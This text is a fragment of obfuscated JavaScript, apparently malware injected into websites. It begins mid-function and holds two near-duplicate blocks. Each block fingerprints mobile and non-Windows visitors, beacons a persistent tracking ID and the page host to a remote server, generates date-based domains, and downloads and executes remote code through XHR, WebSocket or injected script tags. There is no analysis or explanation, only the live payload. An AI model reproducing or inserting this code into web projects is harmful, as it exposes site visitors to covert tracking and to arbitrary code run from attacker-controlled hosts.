HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};